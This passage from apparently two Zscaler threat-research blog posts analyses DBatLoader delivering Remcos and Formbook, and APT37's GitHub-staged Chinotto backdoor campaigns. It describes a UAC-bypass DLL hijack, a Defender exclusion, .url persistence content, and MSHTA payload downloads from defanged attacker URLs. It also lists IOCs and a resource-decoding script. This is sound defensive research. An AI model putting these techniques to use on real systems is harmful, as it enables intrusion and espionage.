‘netutils.dll’, and the ‘KDECO.bat’ script into it. The script then executes ‘easinvoker.exe’ from the mock directory and adds a delay using the 'ping 127.0.0.1 -n 6 > nul' command. Finally, the mock directory is deleted. The auto-elevated ‘easinvoker.exe’ executable is vulnerable to the 'relative path DLL Hijack' variant of DLL Hijacking. Windows automatically elevates this process without displaying a UAC prompt if it is located in a trusted directory. Therefore, the attacker copies ‘easinvoker.exe’ to the mock directory and uses it to load the malicious ‘netutils.dll’, which in turn executes the ‘KDECO.bat’ script. Fig.19 - Second Bat script The script 'KDECO.bat' includes PowerShell commands that exclude the 'C:\Users' directory from being scanned by Microsoft Defender. Fig.20 - Function to create .url file DBatLoader achieves persistence by creating a copy of itself and a file called ‘gafiifdX.url’ in the 'C:\Users\Public\Libraries' directory. The 'gafiifdX.url' file is an internet shortcut that executes the dropped malicious payload on the system. By using this file, DBatLoader creates an autorun registry key under 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run' to survive a reboot. Here is the content of the 'gafiifdX.url' file: [InternetShortcut] URL=file:"C:\\Users\\Public\\Libraries\\Xdfiifag.exe" IconIndex=13 HotKey=49 Conclusion In conclusion, DBatLoader is a sophisticated malware that is actively targeting various businesses, primarily in European countries, with the Remcos RAT. It uses multiple file formats and obfuscation methods to avoid detection from antivirus engines. DBatLoader drops several files, including DLLs, EXEs, and batch files, to perform its malicious activities. The malware is distributed through a phishing campaign that continuously adapts to new distribution mechanisms. Zscaler's Threat Labs team analyzed the behavior of various files associated with DBatLoader using the MITRE ATT&CK framework and displayed the threat scores and techniques triggered. The team is continuously monitoring the campaign and will bring to light any new findings they discover. Organizations must remain vigilant and employ best practices to protect against such threats, including security awareness training and implementing multi-layered security defenses. Zscaler Sandbox Coverage Zscaler Sandbox was used to analyze the behavior of different files during the investigation of this campaign, the results show the threat scores and the specific MITRE ATT&CK techniques triggered as shown in the screenshots below. Fig.21 - DBatLoader/ModiLoader Zscaler sandbox report Zscaler’s multilayered cloud security platform detects payloads with following threat names: Win32.Downloader.ModiLoader Win32.Backdoor.RemcosRAT Win32.PWS.Formbook MITRE ATT&CK Techniques: Tactic Technique ID Technique Name Execution T1064 T1059.001 Scripting PowerShell Persistence T1547.001 Registry Run Keys / Startup Folder Privilege Escalation T1574.002 DLL Side-Loading Defense Evasion T1562.001 T1140 T1064 T1027 T1027.002 T1070.006 T1574.002 T1070.004 T1036 T1497 T1055 Disable or Modify Tools Deobfuscate/Decode Files or Information Scripting Obfuscated Files or Information Software Packing Timestomp DLL Side-Loading File Deletion Masquerading Virtualization/Sandbox Evasion Process Injection Discovery T1124 T1083 T1082 T1518.001 T1057 T1010 T1018 T1016 System Time Discovery File and Directory Discovery System Information Discovery Security Software Discovery Process Discovery Application Window Discovery Remote System Discovery System Network Configuration Discovery Collection T1560 Archive Collected Data Command and Control T1219 T1573 T1571 T1095 T1071 Remote Access Software Encrypted Channel Non-Standard Port Non-Application Layer Protocol Application Layer Protocol Indicators of Compromise (IOCs): Remcos RAT Campaign: File Name Md5 Description Network Activity/C2 Purchase Order SZ5-9-020.msg d51576e2e216292a72ce16821f9696d3 Phishing mail - Revised Order Document.pdf 0e8aefd1dade4f059c2881c6e05f689f Malicious attachment hxxps://silverline[.]com[.]sg/new/Revised_Order_Document.cab Revised_Order_Document.cab ef02ba99d974787a70085537918117c4 Downloaded CAB file - Revised_Order_Quotation.pdf.lnk 4c39cdd2bfb2c7dde761a6e5b8c01321 Extracted LNK file hxxps://silverline[.]com[.]sg/admin/Xdfiifagcwrbrg.exe Xdfiifagcwrbrg.exe 85b2a41e98412f2867715c9ae5ad27ac DBatLoader/Remcos RAT 185[.]246[.]220[.]63 SZ59020_JF_KOREA_Co_Ltd_Sales_Order.pdf c1d19535ded9e0ff8e293f6852b24b91 Malicious attachment hxxps://silverline[.]com[.]sg/private/SZ59020_JF_KOREA_Co_Ltd_Sales_Order.cab SZ59020_JF_KOREA_Co_Ltd_Sales_Order.cab 1d1f8534ee6dbe1dbeade30e912a9136 Downloaded CAB file - SZ59020_JF_KOREA_Co_Ltd_Sales_Order.pdf.lnk f0b7bad0eb081c6b7d3df74e733efd1c Extracted LNK file download payload https://silverline[.]com[.]sg/admin/Fsofwcqmhvvgna.exe Fsofwcqmhvvgna.exe 00c168883239c13aa213a5337aca3dae DBatLoader/Remcos RAT 185[.]246[.]220[.]63 Quotation.pdf.lnk aa8836fa3879074748f6dca63476aba9 Malicious LNK file download payload hxxps://silverline[.]com[.]sg/new/Dvicvwxfouxvgm.exe Dvicvwxfouxvgm.exe b2d368435d5896419751add4cc338fc4 DBatLoader/Remcos RAT hallowed247[.]duckdns[.]org:9150 Revised_Order_Document.pdf.lnk be889f4ab5ce7e99c131463c58205ba0 Malicious LNK file download payload hxxps://silverline[.]com[.]sg/new/Eyeqkzxtfeyxwr.exe Formbook Stealer Campaign: File Name Md5 Description Network Activity/C2 A0034372876RFQ 02 14 23.msg d9844515b7d09d74de188856b60c88c0 Phishing mail hxxps://sleda[.]sleda[.]eu/wp-content/themes/A0034372876RFQ021423.cab A0034372876RFQ.pdf 10904cb6103086d04ba0d76bcf7a65dc Malicious PDF hxxps://sleda[.]sleda[.]eu/wp-content/themes/A0034372876RFQ021423.cab A0034372876RFQ.pdf 1978b12cacb91b0d0f77a9979db9e671 Malicious PDF hxxps://sleda[.]sleda[.]eu/wp-content/themes/A0034372876RFQ021423.cab A0034372876RFQ021423.cab 3dde7b13d4736c11a67bc8fbad976d37 Downloaded CAB File - A0034372876RFQ021423.exe fb7dbeea12e4729cf11d6de8588f2b7e DBatLoader/Formbook thesquirrelgame[.]net b-yy[.]xyz HTML Attached Campaign: File Name Md5 Description - cdac8ab69c92d012de0650c64be1c335 Phishing Mail Attached Document.html eb4f0ea5aea6a1cab3d257cfb04023e2 Attached HTML File Attachment.ISO d9bfe352512b49e002a2744f9d80879a Dropped ISO File DOCX Specification and Drawing Document874559_PDF.exe 42d872a2eae6e4f0d171d1f291846e30 DBatLoader - 9e7212a41b4885094008bfe2c5e1b54e Phishing Mail Neue Anfrage 8748859GDTE.html e7ab3b74689203a229a62b87865f1e7c Attached HTML File Neue_Anfrage.iso 35e8d4c313c7e793a5cc92995147a310 Dropped ISO File Neue Anfrage 8748859GDTE.scr 1d177fccdcc51ad5d20545bd65d9c352 DBatLoader/NetWireRC RAT OneNote Attached Campaign: File Name Md5 Description PROPERTY PURCHASE & SALE.msg cac32da3ef6d2c4551e73ebfafef4393 Phishing Mail Estate Property.one 1c19601797e347b2c70c0cd48f7ccd9d Attached OneNote File Xnsheycoorkeea.exe b11db475600ad34d68ad26fb30abe498 DBatLoader/Remcos RAT f3232e7b-fb3b-34f3-51bd-249570f678de.eml bc701846e84feb25a355f34194e2a957 Phishing Mail ConstructionDocuments.one 04ecfc3fa0c53151d976f2d6fbd65c31 Attached OneNote File Yokzgytdjocuus.exe b1b76651c4db6ab4742722ce54e38789 DBatLoader/Remcos RAT DBatLoader/ModiLoader IoCs: File Name Md5 Description XdfiifagO.bat 55aba243e88f6a6813c117ffe1fa5979 Initial Bat File KDECO.bat 213c60adf1c9ef88dc3c9b2d579959d2 Second Bat File easinvoker.exe 231ce1e1d7d98b44371ffff407d68b59 Legitimate Windows executable netutils.dll b375e74a145c45d07190212e9157e5f8 Malicious DLL Appendix: Python script to decode encrypted resource section of DBatLoader - with open("<YourencodedFile>", "rb") as f: bytes_read = f.read() with open ("my_file.dll","wb"): pass for b in bytes_read: newb = b + 79 if newb > 255: lower_bytes = (newb - 256) else: lower_bytes = newb new_format = format(lower_bytes,'x') if len(new_format) == 1: new_format = "0" + new_format print(new_format) with open("my_file.dll", "ab") as binary_file: binary_file.write(bytes.fromhex(new_format)) Mon, 27 Mar 2023 08:36:17 -0700 Meghraj Nandanwar https://www.zscaler.com/blogs/security-research/dbatloader-actively-distributing-malwares-targeting-european-businesses https://www.zscaler.com/blogs/security-research/unintentional-leak-glimpse-attack-vectors-apt37 Summary At Zscaler ThreatLabz, we have been closely monitoring the tools, techniques and procedures (TTPs) of APT37 (also known as ScarCruft or Temp.Reaper) - a North Korea-based advanced persistent threat actor. This threat actor has been very active in February and March 2023 targeting individuals in various South Korean organizations. During our threat hunting research, we came across a GitHub repository which is owned by a member of the threat actor group. Due to an operational security (OpSec) failure of the threat actor, we were able to access a wealth of information about the malicious files used by this APT group along with the timeline of their activities dating as far back as October 2020. Recently, Sekoia shared their findings of the toolset of APT37 here. In our blog, we disclose additional details which we found as a result of our in-depth investigation of the threat actor's GitHub repository. The large number of samples we identified through the attacker's GitHub repository are not present on OSINT sources such as VirusTotal either. This allowed us to get more insights into this threat actor's previously undocumented attack vectors, motives, targets and the themes used. In this blog, we will provide a high-level technical analysis of the infection chain, the new loaders we identified and a detailed analysis of the themes used by this APT group, discovered while reviewing the GitHub commit history. Even though the threat actor routinely deletes the files from the repository, we were able to retrieve all the deleted files and do an analysis of them. Key points APT37 is a North Korea-based advanced persistent threat actor which primarily targets individuals in South Korean organizations. Its main objective is cyber espionage and it achieves this through data exfiltration of selected file formats of interest to the threat actor It distributes the Chinotto PowerShell-based backdoor using various attack vectors. We discovered the GitHub repository of APT37 and uncovered many previously undocumented attack vectors, artifacts and themes used by this group File formats abused by APT37 include Windows help file (CHM), HTA, HWP (Hancom office), XLL (MS Excel Add-in) and macro-based MS Office files. In addition to distributing malwares, this group is also focused on credential phishing attacks The group has resumed its activity in the second half of Jan 2023 and since then is actively targeting users in South Korea through spear phishing emails For C2 infrastructure, it often compromises South Korea-based bulletin board system (BBS) websites and uses them The group is constantly evolving its tools, techniques and procedures while experimenting with new file formats and methods to bypass security vendors Attack chain There are multiple attack vectors used by APT37 in this campaign. Figure 1 and Figure 2 show 2 examples of the attack-chain. The other attack vectors we have described in the "Recent TTPs" section. Figure 1: attack-chain using CHM file format to kick start the infection chain Figure 2: attack-chain using the MS Office Excel add-in to kick start the infection chain Opsec failure by APT37 Threat actor's GitHub repository overview Our initial discovery was the GitHub repository of APT37 which was used to stage several malicious payloads. Figure 3 shows a preview of the threat actor's GitHub repository Figure 3: GitHub account of the threat actor The contents of the Readme file are chosen to appear as an Android software related repository. At the end of the Readme file, we noticed a base64-encoded string, preceded by a tag While reviewing the commit history, we noticed that the threat actor often updates this encoded string. While we were not able to identify the exact usage of this encoded string, we believe it will be fetched by a payload on the endpoint. Figure 4 shows a GitHub commit where the threat actor is updating the encoded token. Figure 4: GitHub commit which shows threat actor updating the encoded token in the README Recovery of deleted files When we reviewed the commit history of the GitHub repository, we noticed that the threat actor frequently deleted malicious files from it. Figure 5 shows commit logs related to the delete events. Figure 5: GitHub commit history showing the files being deleted routinely by the threat actor We traced this commit history all the way to its origin, and observed that the first commit happened in October 2020. This was surprising to us since the threat actor was able to maintain a GitHub repository, frequently staging malicious payloads for more than 2 years without being detected or taken down. Figure 6 shows the first commit in the commit history logs. Figure 6: First commit in the GitHub account. Activity started in October 2020 Our next step was to retrieve all the deleted files from the GitHub repository. We have included the list of hashes and the original filenames in the indicators of compromise (IOCs) section. Themes and target analysis This wealth of information retrieved from the GitHub repository gave us a lot of insight into the types of themes used by the threat actor as social engineering lures and we were able to make an educated guess about the potential targets of the campaign. Per our analysis of the file names, and the decoy contents, we have summarized the themes below along with examples. This is not an exhaustive list Theme Filename Comments Geopolitical [INSS] National Security and Strategy (Winter 2022).rar South Korean companies LG유플러스_이동통신_202207_이_선.rar SamsungLife.rar Themes related to popular South Korean companies - LG and Samsung Academic institutes final exam questions 2022 summer KED.rar 2022 후기 신-편입생 모집요강.rar Exam questions related to Korean Economic Development (KED) Related to University of North Korean studies Finance (income tax, general insurance) WooriCard_20220401.rar BoanMail.rar WooriCard is a popular financial services organization in South Korea Hanwha general insurance is a major insurer in South Korea Examples of decoy themes We have included below a few decoy themes used by the threat actor. These are samples not yet documented in the public domain. So, we hope to share more insights into the themes used in the campaign through this information. Geopolitics Figure 7 shows a decoy file related to INSS (Institute of National Security Strategy) in South Korea. This decoy PDF was sent along with a CHM file inside the archive file with the name: [INSS] National Security and Strategy (Winter 2022).rar Figure 7: Decoy related to geopolitics theme Education and academic institutes Figure 8 shows a decoy file related to examination questions on the topic of Korean Economic Development Figure 8: decoy related to education theme Finance Figure 9 shows a decoy file related to the Hanwha General Insurance - a major insurer in South Korea. This decoy file was sent along with the CHM file in an archive file - BoanMail.rar Figure 9: decoy related to finance theme Recent TTPs Attack vector - CHM It is well-known that APT37 uses a Chinotto PowerShell-based backdoor which is deployed on the endpoint through a malicious Windows help file (CHM). These CHM files are distributed inside archive files. Most of these archive files contain two components - the malicious CHM file and the decoy file to be displayed to the victim. In most cases, the decoy files are password-protected. The password to open the decoy file is displayed by the CHM file. Figure 10 below shows an example of code inside the CHM file which is responsible for displaying the decoy file to the victim, downloading a malicious HTA file from the attacker's server and executing it. Figure 10: code inside the CHM file used to launch MSHTA and download HTA New attack vector - MS Excel Add-in So far in most of the campaigns of APT37 deploying Chinotto PowerShell backdoor, they have leveraged CHM files distributed inside archive files. Interestingly, on March 15th 2023, around the time of our investigation, the threat actor uploaded a malicious Microsoft Excel Add-in to the GitHub repository. This Add-in is an XLL file. XLL files are DLLs which function as an add-in for the Microsoft Excel application. We haven't seen this attack vector used by APT37 before and we believe this to be the first case being documented. Technical analysis of the XLL file For the purpose of technical analysis, we will use the XLL file with MD5 hash: 82d58de096f53e4df84d6f67975a8dda XLL files get activated when they are loaded by the MS Excel application. There are various callback functions provided by Microsoft which allow the XLL file to communicate with the Excel application. One of the most common functions is xlAutoOpen() which is called as soon as the DLL is loaded and activated by the MS excel application. Figure 11 below shows the code present in the XLL file in our case. Figure 11: xlAutoOpen() subroutine of the malicious MS Office Excel add-in Below are the main steps performed by this XLL file. Extracts an XLS file from the entry called "EXCEL" in its resource section and drops it on the filesystem in the path: C:\programdata\20230315_SejeongSupport.xls Displays the above dropped XLS file that is a decoy and used as a social engineering lure Launches MSHTA to download an HTA file from the URL: hxxp://yangak[.]com/data/cheditor4/pro/temp/5.html This HTA file contains the PowerShell backdoor called Chinotto Ultimately, we see that the goal of this XLL file is also to deploy the Chinotto PowerShell backdoor. However, instead of using the CHM file, it now uses the XLL file. Attack vector - LNK We recovered some LNK files from the GitHub repository which were uploaded in August 2022 and apparently used in in-the-wild attacks around the same timeframe. These LNK files were present inside RAR archives. Along with the LNK file, an HTML file was present masquerading as a sign-in page of the South Korean company - LG. The two LNK files we observed, both used dual extensions - "html.lnk" and "pdf.lnk". These LNK files were used to execute MSHTA and download the malicious HTA file from the attacker's server. Rest of the attack-chain is similar to other cases which finally leads to the Chinotto PowerShell-based backdoor. We analyzed the metadata of the LNK file with LECmd tool and noticed that both the LNK files were generated on a Virtual Machine running VMWare and with a Mac address of: 00:0c:29:41:1b:1c Since the threat actor reused the same Virtual Machine to generate multiple payloads, this information could be useful for threat hunting and threat attribution purposes in future. Figure 12 and 13 show the outputs of LECmd tool highlighting the target command executed by the LNK and other important metadata Figure 12: LNK target command line and metadata extracted using LECmd Figure 13: LNK machine details extracted using LECmd Figure 14 shows the decoy HTML file which is packaged along with the LNK file inside the same archive. Filename: LG유플러스_이동통신_202208_이_선.html Translation: U+_Mobile_Communication_202208_Lee_Seon.html Figure 14: decoy file related to LG Attack vector - Macro-based MS office file In March 2022, a macro-based MS office Word file was uploaded to the GitHub repository. This macro would launch MSHTA to download the PowerShell-based Chinotto backdoor as well. The target URL from where the HTA file is fetched is also the same as the previous case. This shows that the threat actor uses multiple initial file formats and attack vectors to deploy the same backdoor. Filename: NEW(주)엠에스북스 사업자등록증.doc Filename translation: NEW MS Books Business Registration Certificate.doc Figure 15 shows the relevant VBA macro code. Figure 15: VBA macro used to launch MSHTA to download the malicious HTA file Attack vector - HWP file with embedded OLE object Another attack vector used by APT37 to deploy Chinotto PowerShell-based backdoor on the endpoint is using HWP files with embedded OLE objects. These OLE objects contain a malicious PE32 binary which executes MSHTA to download a PowerShell-based backdoor from the C2 server. When viewed with Hancom Office, the embedded OLE objects take the form of a clickable element in the document's body. APT37 makes use of misleading bait images to entice the user to click on the OLE object elements, an action required to cause the execution of the malicious PE payloads inside these objects. Figure 16 shows an example of such a document, as it appears in Hancom Office. Figure 16: Malicious HWP document by APT37. The Korean-language dialog is fake - it’s in fact an OLE object represented by a static image of a dialog. When it’s clicked, a real dialog pops up - prompting the user to confirm the execution of the payload. Rest of the attack-chain is similar to the previous cases. For the purpose of technical analysis, we will consider the HWP file with MD5 hash: a4706737645582e1b5f71a462dd01140 Filename: 3. 개인정보보완서약서_북주협.hwp Translated filename: 3. Personal Information Security Pledge_Bukjuhyeop.hwp Figure 17 shows the OLE object stream present inside the HWP file. Figure 17: malicious OLE object stream present inside the HWP file Object streams in HWP files are zlib compressed. After decompressing, we extracted the PE32 binary from it. MD5 hash of the extracted binary: d8c9a357da3297e7ccb2ed3a5761e59f Filename: HancomReader.scr PDB path: E:\Project\windows\TOOLS\RunCmd\Release\RunCmd.pdb Figure 18 shows the relevant code in HancomReader.scr Figure 18: Relevant code in HancomReader.scr used to download and execute the PowerShell backdoor Zscaler sandbox detection Figure 19 shows the HTA file detection in the Zscaler sandbox. Figure 19: Zscaler Cloud Sandbox report Figure 20 shows the detection for the macro-based MS Office Word file in Zscaler sandbox. Figure 20 shows the macro-based document file detection in Zscaler sandbox. In addition to sandbox detections, Zscaler’s multilayered cloud security platform detects indicators at various levels: HTA.Downloader.Chinotto VBA.Downloader.Chinotto Win32.Backdoor.Chinotto Conclusion As we discussed in this blog, APT37 is a threat actor heavily focused on targeting entities in South Korea. It is constantly updating its tactics, techniques and procedures as is evident from the multiple file types used in the initial stages by it. The themes used by this threat actor range from geopolitics, current events, education to finance and insurance. It is also particularly interested in current events and activities related to the Korean peninsula. We will continue monitoring the activities of this threat actor and ensure our customers are protected against APT37. Indicators of compromise Archive file hashes MD5 hash Archive filename 3dd12d67844b047486740405ae96f1a4 (20220120)2022년 총동창회 신년인사001.rar e9cd4c60582a587416c4807c890f8a5b (양식) 제20대 대통령 취임식 재외동포 참석자 추천 명단(국민의힘당원 000).rar 6dc7795dde643aae9ced8e22db335ad1 1.rar e3879ea3f695706dfc3fc1fb68c6241d 2017-APEC.rar 17bc6298bf72fa76ad6e3f29536e2f13 2022 후기 신-편입생 모집요강.rar 54a99efd1b9adec5dc0096c624f21660 2022-01-27-notification.rar f3f4cf7876817b1e8a2d49fe9bd7b206 2022-03-22.rar bb182e47e1ffc0e8335b3263112ffdb1 2022-04-14.rar 9d85c8378b5f1edefb1e9837b3abb74f 2022.04.27.rar cb33ef9c824d16ff23af4e01f017e648 2022.rar 75fe480a0669e80369eaf640857c27cd 20220315-112_Notice.rar 6db5f68b74c8ba397104da419fcc831d 202203_5_06.rar cfd73942f61fbb14dded15f3d0c92f4a 20220510_115155.rar 5c67c9266e4267d1bf0862bf2c7bd2a5 20220913.rar 1531bba6a8028d38d36c0a91b91159c3 20220916093205755684_TSA.rar afdc59ec36ac950de08169162783accd 2022년 국방부 부임이사 안내(몽골리아).rar 06c112968cdde43c3424bdf0a2a00928 20230302_Guide.rar 6ab401c83095129a182b9be0359d602d 3사복지업무.rar 93e94b673c6d1ea6d615c0102dc77610 Ambassador Schedule Week 6 2023.rar e32f59fd5acbe01d2171ba6c2f24e3ca Announcement.rar 7b60dc663e1025e8892b96fa9fc34f00 BoanMail.rar 5e95023c6ac3f3fefe00cfc2b4b1d093 CR_20230126.rar 353370ade2a2491c29f20f07860cf492 CV.rar 120a677df1c4d1f0792b6547d3b60183 DBLife-2022_08_05.rar 02baa23f3baecdc29d96bffea165191b Details.rar c3325c43b6eea2510f9c9f1df7b7ce22 Documents.rar 04a7290e04fd1855140373aa3d453cef DriverSet.rar 87c3e8e4308aac42fed82de86b0d4cb6 Estimate.rar 328dc6e7acce35abaaf3811bac2bc838 H2O 견적서.rar e9230cf7615338ab037719646d67351b HealthDoc.rar cf012ca48b5e1f6743be7e0d10cdfd2e Introduce.rar 34d3e5306cff0bfe831ccd89d095ef33 Invoice_1514_from_Evo3_Marketing_Inc.rar 717dab257423d5fd93d0d02f3ff242e7 KB_20220111.rar 0164d8a2d27cfd312fb709c60c351850 KB_20230126.rar c23c17756e5ccf9543ea4fb9eb342fde KN0408_045 정영호.rar 31793153b12f1187287007578017abd4 KakaoTalk_20220419_103447534.rar 030df9bca0a35bcd88d5897482ee226d LG유플러스_이동통신_202207_이_선.rar 8eb56493d984b3c2fa4c2dedb6871dd7 LG유플러스_이동통신_202208_이_선.rar 0c2375825dcae816a1f9b53f8f82d705 MAIL_20230125151802.rar 93817f6dfe3a7596eeef049eda9c8b18 Message.rar 3fe6722cd256d6d5e1d5f5003d6a01a5 NTS_eTaxInvoice.rar c1b6390f0ef992571fa9ed3c47eb0883 News about Foreign affairs, The High North and Ukraine.rar 6dc7795dde643aae9ced8e22db335ad1 Oxygen_Generator.rar 3b52f149e220da28bf9cd719570979ce Payment.rar e5c509a33db926f3087c3a52546b71f2 Provincil's letter.rar d5ad2c1790c715d88b5e05ca4329417d References.rar 4d27d6b01f85a4b40650e6bc7cc18ed3 SamsungLife.rar 3a4f4b1fb30fbb70c14dea600a56ca68 SecureMail.rar 5a8bdfb0008767cdb05dfcc3223e9a70 TermsOfService.rar 881ccfd6c11b774b80b304ab78efef53 Transaction.rar f2be2c1e80769a45761d0b69a46a627f TransactionGuide.rar f7a73eaf15ee8d8f3257a359af5987eb WooriCard_14day_20220609.rar b6c4137868e2c305241093e967b2d60b WooriCard_20211222.rar 715d408b45e5334a985e7e6279fa80ac WooriCard_20220401.rar b2ce0ba21ae1e982a3a33a676c958bec XQQ-2022-D27.rar b9f423b42df0df0cb5209973345d267c [INSS] National Security and Strategy (Winter 2022).rar ab0dc3964a203eea96a233c8d068de95 [붙임] 제20대 대통령선거 제1차 정책토론회 시청 안내문.rar fbc339cd3f4d39af108b4fdb70202b22 boanmail-202101-j08.rar fbc339cd3f4d39af108b4fdb70202b22 boanmail_202201_2_505824.rar 0db43beb06845026cf33c59baa66b393 boanmail_202201_5_02-10424.rar 237bcbe07219eb24104815205cc01d24 boanmail_202201_5_80222982.rar 2bf05e2526911b3bdb7f77cbbe4155f3 db-fi.rar 0923c69808352feb9a57a766c611b7d4 dbins_secure.rar 8c3bb54dcd4704a0f0b307863345c5d1 email_1649225531086.rar 0947efee85596a17bdd1e798826d48aa enkis.rar 93675086f33fb0708982eafea5568f05 final exam questions 2022 summer KED.rar 8faabae5e6766a6a93a56014cca5c295 hi_security_mail.rar 9e7099b32f6bd36724a71f6c3cb21d17 issue.rar 9c6d553682813724424a7fcc7af8729d mmexport1638437859483.rar 6da10cc37edee7e16c520f2f95cd9304 pay_202111_5_00-10290.rar f07a3d146f32bfa8f53e5cae7178559e pay_202111_5_01-10104.rar 0beeb858734cd7da03b1284e7fe00b22 pay_202111_5_02-12972.rar 8c4cbe900cf69c739882cef844b1ac11 pay_202111_5_04-10220.rar 31da11dbf80715138261904b2249a7f8 pay_202111_5_04-14213.rar 1803d81e1d0ccb91c752ecb4bc3b6f0c pay_202111_5_12-11985.rar 06b7207879bd9ed42b323e16bb757a3c pay_202202_5_06-10325.rar 28b807be70e49ebc0c65455f430d6408 pay_202205_5_01-10104.rar c97a32c7555fc81f296fee0a65fec079 pay_202209_5_01-502479.rar 1e05dbe1846c1704b9a7a1db13fdd976 samsungfire.rar 38d9ff50b68144a9a40d1e7e3d06adb0 security-guide.rar f0b7abea21984790d2906adf9653c542 securityMail.rar 04802790b64d66b9257ae119ee7d39a5 security_20220813.rar a8bcbb34e11d7b23721ec07eadb5ddc5 shinhancard_20220218.rar eecf78848dde0d41075e35d3aa404697 제39기 모집요강 및 입학지원서-재송.rar ef5aa1dfbfc4c9128a971e006da0cb8b 새로 바뀐 COVID-19 시기 자가격리 정책.rar e5865d8cee159ac02ee53ef52f4058ac 오피스 365 + 설치설명서 입니다.rar 882d4d6528404c3ceacee099f59bfab4 텅스텐 W 99.rar b7275a3931fb85f723a4ceec9478c89e 다문화 문제 답.rar f96fa367261df9cc2b021318ce361ec6 취임식 관련 자료.rar 8d7141882a95be5dcfa8ce90d7079541 공고문(기술관리).rar ff2ccc12007bbf3f5934a5dfdc8430ee 황선국-차예실의 요르단 이야기-34.rar 3c3fc3f47abf0ec7a3ab797b21b123e2 공고문.rar acf9bad00bc1d2649ad918b0524c7761 계약사항 안내문.rar cb33ef9c824d16ff23af4e01f017e648 문의사항.rar 802bf381dd7f7f6cea077ab2a1814027 보안메일.rar 89d1888d36ff615adf46c317c606905e 협조요청.rar 0d15b99583b3b9638b2c7976b4a1d2ef 통일교육11.rar 8113798acc4d5690712d28b39a7bb13a 백산연구소 (830 LNG) 22.01.17.rar 4987ed60bb047d4ca660142b05556125 백산연구원 소방서.rar b840485840480d42b3b8e576eecdf2ee 제로깅크루_명단.rar e8ab4f80ebad24260869e89bca69957d 폴리프라자Ⅲ, 4월 근무 현황.rar 87aaf50fc5024b5e18f47c50147528b4 조성호기자님_마키노기자책소개.rar 11b0c0577e12400cddc7b62b763a1dd1 사업유치제의서-PC모듈러pdf.rar fa797b29229613f054378c8a32fcefbc 통일미래최고위과정_입학지원서.rar CHM file hashes MD5 hash Filename 914521cb6b4846b2c0e85588d5224ba2 (20220120)2022 - 001.chm 2ffcb634118aaa6154395374f0c66010 (양식) 제20대 대통령 취임식 재외동포 참석자 추천 명단(국민의힘당원 000).chm 24daf49d81008da00c961091cbfc8438 0-Introduction.chm 624567dae70fc684b2a80b5f0f1de46d 1.Brefing.chm 2ab575f9785239d59395ec501ceaec2e 2017 - APEC.chm 684a61eedb2ec26d663c3d42a107f281 2022 - Guide.chm a48ac5efd350341beab9a4fdfb7f68d7 2022-01-27-notification.chm 030c3873f1a45eab56dca00fa8fa9a14 2022-04-14.chm a6b30fc17d6ff9aa84fb93c3f05a4171 2022-06-24-Document.chm b4adb4fede9025f6dd85faac072a02e7 2022-Important.chm b2d7c047dc1c7fb7074111128594c36e 2022.04.27.chm edb87c2cabcc402173fa0153f4e8ae26 2022.chm d020d573d28e3febb899446e3a65e025 20220315-112_Notice.chm 7058661c3f944f868e5a47c4440daa9b 20220510_115155.chm d431c37057303e5609f0bffa83874402 20220623103203983_6_조사표_기업용.chm 820d302655d5cd5dd67859f7a5cb74fe 20220913_Main.chm 8db5578f5245c805c785ae38ea8a1363 20220916_Password.chm c29d11961b9662a8cb1c7edd47d94ae5 20230302_Guide.chm cae4d578b1bdaa4e193095f035cecbc6 Account Information.chm 9bf4576a1381c15c08060ca6cfd59949 BoanMail.chm c0bfb9f408263c1bc574a08fa164a61f BookBriefing.chm e9562655c36d46f4b6534f189ae453a0 Content-Introducing.chm 6bd63cf73cab3305686f2ee41d69bd42 Covid-19-Notice20211028.chm 012f0dd04c9c810c14cdde08cfbca3c5 DBLife-2022_08_05.chm 00a7c9ad2e975e19034838a14f73a46a Details.chm 77a6f57ccefeda14d5faf44cc37b69da Estimate.chm 211b412fe5c4b207eb39384499b93342 H2O Note.chm 3a23ee36f792e241772e81aeeccf8aa8 Introduce.chm 532ec6d88c728afecfcf8fbb38fb8add Invoice_1514_from_Evo3_Marketing_Inc.chm 2a982b843cf92081fc4202e11a1f7234 KB_20220111.chm aa68044e16a115af4ea1de3d062c4e41 KB_20230126.chm 0bf53a165b2bd64be31093fefbb9fb51 KakaoTalk_20220419_103447534.chm f11b9fb8208b9949859785810f251334 KakoBank-N202111.chm 097edc04368d411593fff1f49c2e1d9c LG유플러스_이동통신_202207_이_선.chm 45bd3001517f5e913ddde83827f4cc29 MAIL_20230125151802.chm 0bf993c36aac528135749ec494f96e96 Message.chm 549162b9ec4c80f9a0ca410ff29c8e98 NTS_eTaxInvoice.chm c09939e972432968976efc22f556bd0f News about Foreign affairs, The High North and Ukraine.chm 79d5af9d4826f66090e4daf6029ed643 Password.chm 9e1a2b331fd1e4ee77880d8f62025cd1 Password12.chm 5f2dcb1e51c8d574f43c8f7c7f84d9fa Related to the inauguration ceremony.chm a5ce8fe31da94fdea9c25f3abcdd5982 SamsungLife.chm 8a74a931e6ed4ae477547707da2fd76c SecureMail.chm 0012f5bfe97421d39751eb20d857ae09 TermsOfService.chm 22652b383d9ea880a4644a35cd5fadaf Transaction.chm 73715c82e31702f56858226557f98444 WooriCard_14day_20220609.chm b34761f5272c9109c47780f415d28631 WooriCard_20211222.chm 2c697d27cd2e455ae18b6744a47eef4f WooriCard_20220401.chm 2cf2805529ebc68884979e582e12cf8d XQQ-2022-D27.chm 67cc91e889b4a597a6486db0e92fa4d1 [INSS] Briefing and Guide.chm 1f4038a9c6266b60f784c37efbb832f5 [붙임] 제20대 대통령선거 제1차 정책토론회 시청 안내문.chm ac7f8e5245f9736a1323509a537e54eb baeksan (830 LNG) 22.01.17.chm ee06a0d6e5645248db88c279ec0e8624 contents.chm a13fb4e11b31d109a1b145f20ea4b929 db-fi.chm 0fb698efce9476c3f2b603b30f5e35d5 dbins_secure.chm d942353d15077352dcae83dd04869e1a email_1649225531086.chm ac51f29d609c73cce8db67c86aa49ba0 enkis_choe.chm 7f030cbf7ce41b9eb15693ee92b637a5 hi_security_mail.chm a85dc5403cb1fe7d0ae692a431e1eae3 issue.chm 5e2e5b71503adedf786bc69f3849750f jungsan_202203_5_06-10325.chm 7cba0c911b74d889f05f8b954926aa67 jungsananne_202201_2_505824.chm 174ae3db1dd4c61037bc7a5bf71d1366 jungsananne_202201_5_02-10424.chm 498b20e20af190c6650f03e8adf9a5b7 jungsananne_202201_5_80222982.chm 92974d1677fa840fcc3d6599df86d38f mmexport1638437859483.chm 19c0583e57385f574c9986de6a26adae pay_202111_5_00-10290.chm e73b6c906f1070d569a0e9b70304be01 pay_202111_5_01-10104.chm b1d2c6233d56ef3aeaa08cff7a7d2971 